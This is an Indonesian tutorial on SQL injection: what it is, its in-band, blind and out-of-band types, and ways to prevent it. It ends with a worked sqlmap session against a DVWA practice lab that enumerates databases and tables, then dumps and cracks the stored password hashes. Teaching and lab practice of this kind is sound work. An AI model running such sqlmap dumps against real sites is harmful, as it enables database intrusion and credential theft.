SQL INJECTION
Apa Itu Sql Injection
SQL injection atau biasa yang dikenal dengan sebutan SQLi adalah suatu teknik penyerangan web dengan menggunakan kode SQL (Structured Query Language) yang berbahaya untuk memanipulasi database.
Tindakan ini termasuk kedalam kategori hacking, dimana penyerang akan mencari celah keamanan dari suatu website.Sebagai contoh sederhana, biasanya pengguna diminta untuk memasukkan username dan password yang hanya dapat berupa karakter angka dan huruf. Sedangkan user memasukkan karakter lain, seperti petik tunggal (‘), strip (-) atau tanda (=). Karakter-karakter tersebut merupakan bagian dari perintah umum yang digunakan untuk dapat berinteraksi dengan database. Keadaan itulah yang dimanfaatkan oleh penyerang untuk dapat mengakses informasi yang tersimpan didalam database.Suatu website dengan menggunakan bahasa pemrograman, seperti HTML, PHP, ASP dan lainnya.
Cara Kerja Sql Injection
SQL injection menjadi salah satu tindakan hacking yang digemari oleh para attacker. Salah satu alasannya adalah masih banyak website yang kurang memerhatikan celah keamanan sistemnya yang bisa dimanfaatkan oleh pengguna yang tidak bertanggung jawab.Padahal, jika dibiarkan tindakan SQL injection ini akan memberikan dampak buruk terhadap website tersebut, seperti menampilkan daftar pengguna yang tidak sah, penghapusan seluruh isi tabel, mematikan database atau bahkan penyerang memperoleh hak administratif kedalam sistem database. Lalu, bagaimana cara kerja dari SQL injection?
Setiap pengguna dapat mengakses suatu sistem melalui proses login. Proses login ini digunakan untuk menyaring dan mengetahui identitas dari pengguna yang mengakses sistem tersebut. Pada dasarnya, proses login sering diterapkan untuk meningkatkan keamanan (security) dari sistem tersebut sehingga pengguna yang tidak terdaftar dalam database tidak dapat masuk ke sistem itu. Akan tetapi, SQL injection ini dapat merusak keamanan yang telah dirancang sedemikian rupa. Misalnya, terdapat pengguna yang memiliki username “Jackson” dan password “adaaja”. Jika pengguna melakukan inputan sesuai data tersebut, maka tidak akan menjadi masalah pada sistem database karena memang data itu yang tersimpan didalamnya.
Cara Mencegah Sql Injection
Seperti yang telah dijelaskan diatas bahwa tindakan SQL injection ini merupakan tindakan berbahaya bagi keamanan sistem database yang sudah dibangun. Oleh karena itu, perlu adanya tindakan pencegahan (prevent) yang harus dilakukan. Ada beberapa cara yang bisa Anda lakukan mencegah terjadinya SQL injection, berikut penjelasannya
1) Menggunakan Parameterized Query
Menggunakan parameterized query atau prepared statement merupakan cara yang lebih sederhana dan mudah dilakukan. Parameterized akan mendefinisikan seluruh kode SQL sebelum mengirimkannya ke lapisan queryDatabase akan mampu mengenali mana input yang dimasukkan oleh pengguna, apakah termasuk kategori kode SQL atau data pengguna. Dengan begitu, para attacker tidak bisa mengubah isi query, walaupun telah memasukkan kode SQL saat melakukan input.
2) Melakukan Validasi Input Pengguna
Selanjutnya, Anda dapat melakukan validasi input pengguna untuk mencegah terjadinya SQL injection. Yaitu Anda filter semua input yang dilakukan pengguna, seperti jenis, panjang, format dan sebagainya. Dengan begitu, hanya inputan yang lulus vaidasi yang diproses oleh database.
3) Memberikan Batasan Hak Akses
Memberikan batasan hak akses untuk membatasi kerusakan yang terjadi akibat SQL injection. Jangan sesekali Anda login ke database menggunakan akses admin sebagai root. Namun, Anda dapat menggunakan akses istimewa yang telah ditentukan untuk membatasi ruang lingkup sistem.
4) Menyembunyikan Pesan Error
Biasanya, terdapat pesan error yang muncul dari database ketika pegguna melakukan inputan yang salah. Untuk menghindari terjadinya SQL injection ini, Anda diminta untuk menyembunyikan atau bahkan mematikan pesan error agar pengguna tidak terus mempelaari arsitektur database yang digunakan.
Sebab, bisa saja pengguna tersebut merupakan penyerang sistem Anda. Jika ingin menampilkan pesan, maka tampilkan pesan yang menyatakan bahwa sebaiknya pengguna menghubungi dukungan teknis untuk mengatasi masalah tersebut.
5) Memberikan Enkripsi Database
Anda dapat menyimpan data yang bersifat credential secara terpisah untuk menyulitkan penyerang dalam melakukan SQL injection, bahkan Anda dapat memberikan enkripsi untuk lebih mengamankan data tersebut.
6) Mengunci Database
sebaiknya, SQL query tidak dapat diakses melalui halaman pengguna (website). Anda dapat memberikan batasan bahwa tidak semua pengguna dapat melakukan akses ke suatu tabel tertentu, yaitu dengan mengunci tabel yang sangat vital.
Itulah beberapa cara pencegahan yang bisa Anda lakukan agar terhindar dari serangan SQL injection. Selain itu, pastikan juga bahwa website yang Anda bangun telah lulus SQL injection vulnerability test.
Jenis — jenis SQl Injection
1. In-band SQLI (Classic SQLI)
In-band SQL Injection adalah serangan SQL Injection yang paling umum dan mudah dieksploitasi. In-band SQL Injection terjadi ketika penyerang dapat menggunakan saluran komunikasi yang sama untuk meluncurkan serangan dan mengumpulkan hasil. Sebagai contoh penyerang dapat menggunakan komunikasi HTTP menyebarkan serangan ke backend dan mendapatkan hasil di saluran yang sama.Ada dua tipe utama In-band SQL Injection
Error-based SQLI: Error-based SQLI adalah teknik In-band SQL Injection yang mengandalkan pesan kesalahan yang dilemparkan oleh database server untuk mendapatkan informasi tentang struktur database. Dalam beberapa kasus, error-based SQL injection saja sudah cukup bagi penyerang untuk menghitung seluruh database.
Union-based SQLI: Union-based SQLI adalah teknik In-band SQL Injection yang memanfaatkan operator SQL UNION untuk menggabungkan hasil dari dua atau lebih pernyataan SELECT menjadi satu hasil yang kemudian dikembalikan sebagai bagian dari respons HTTP.
2. Inferential SQLI (Blind SQLI):
Inferential SQL Injection, tidak seperti in-band SQLI, mungkin memerlukan waktu lebih lama bagi penyerang untuk mengeksploitasi, namun, ini sama berbahayanya dengan bentuk SQL Injection lainnya. Dalam serangan inferential SQLI, tidak ada data yang benar-benar ditransfer melalui aplikasi web dan penyerang tidak akan dapat melihat hasil serangan in-band (itulah sebabnya serangan semacam itu biasanya disebut sebagai “seranganblind SQL Injection”).
Sebaliknya, penyerang dapat merekonstruksi struktur database dengan mengirimkan payload, mengamati respons aplikasi web dan perilaku yang dihasilkan dari database server. Ada dua jenis SQL Injection inferensial yaitu SQLI berbasis Blind-boolean dan SQLI berbasis Blind-time.Boolean-based (content-based) Blind SQLI: Boolean-based SQL Injection adalah teknik inferential SQL Injection yang mengandalkan pengiriman kueri SQL ke database yang memaksa aplikasi untuk mengembalikan hasil yang berbeda bergantung pada apakah kueri mengembalikan hasil TRUE atau FALSE. Bergantung pada hasilnya, konten dalam respons HTTP akan berubah, atau tetap sama. Hal ini memungkinkan penyerang untuk menyimpulkan apakah payload yang digunakan mengembalikan true atau false, meskipun tidak ada data dari database yang dikembalikan.Time-based Blind SQLI: Time-based SQL Injection adalah teknik inferential SQL Injection yang mengandalkan pengiriman kueri SQL ke database yang memaksa database untuk menunggu selama jumlah waktu tertentu (dalam detik) sebelum merespons. Waktu respons akan menunjukkan kepada penyerang apakah hasil kueri TRUE atau FALSE. tergantung pada hasilnya, respons HTTP akan dikembalikan dengan penundaan, atau segera dikembalikan. Hal ini memungkinkan penyerang untuk menyimpulkan apakah payload yang digunakan menampilkan true atau false, meskipun tidak ada data dari database yang dikembalikan.
3. Out-of-band SQLI
Out-of-band SQL Injection tidak terlalu umum, sebagian besar karena bergantung pada fitur yang diaktifkan pada server database yang digunakan oleh aplikasi web. Out-of-band SQL Injection terjadi ketika penyerang tidak dapat menggunakan saluran yang sama untuk meluncurkan serangan dan mengumpulkan hasil. Teknik out-of-band, menawarkan penyerang alternatif dari teknik inferential time-based, terutama jika respons server tidak terlalu stabil (membuat serangan inferential time-based tidak dapat diandalkan).
Langkah Kerja SQL Injection
Sebelum menggunakan SQLMAP akan sangat baik jika kita dapat melihat apakah injection dapat dilakukan. SQLMAP hanya alat bantu saja, sebaiknya kita mengetahui proses-nya secara manual. Semua SQLMAP fitur dapat dilakukan secara manual.
Parameter yang kita gunakan & artinya
-u URL yang dituju--cookie mengirimkan / mengemulasi sebuah cookie header
Untuk memperoleh cookie, kita perlu mendapatkannya misalnya dengan firefox addon tamper data. Contoh
Cookie=security=low; PHPSESSID=ff1fig4sda49j0b2ah1e7j4eu7--dbs Ini akan memberikan daftar database jika sukses dilakukan.-D Ini untuk menentukan database yang diserang.--tables untuk melihat daftar tabel dari database -D parm.--columns untuk melihat kolom di -tables parm--current-user untuk melihat current user yang menjalankan SQL--users untuk melihat semua users dari SQL--passwords untuk memberikan password yang di hash dari SQL instance.
Contoh Eksekusi
sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" --dbs
Cek daftar tabel dari database dvwa
sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" -D dvwa --tables
Cek format kolom tabel users
sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" -D dvwa -T users --columns
dump password
sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" -D dvwa -T users --dump
— dump akan meng-crack password yang di hash. Anda akan ditanya apakah akan menggunakan dictionary yang ada di SQLMAP atau dictionary kita sendiri.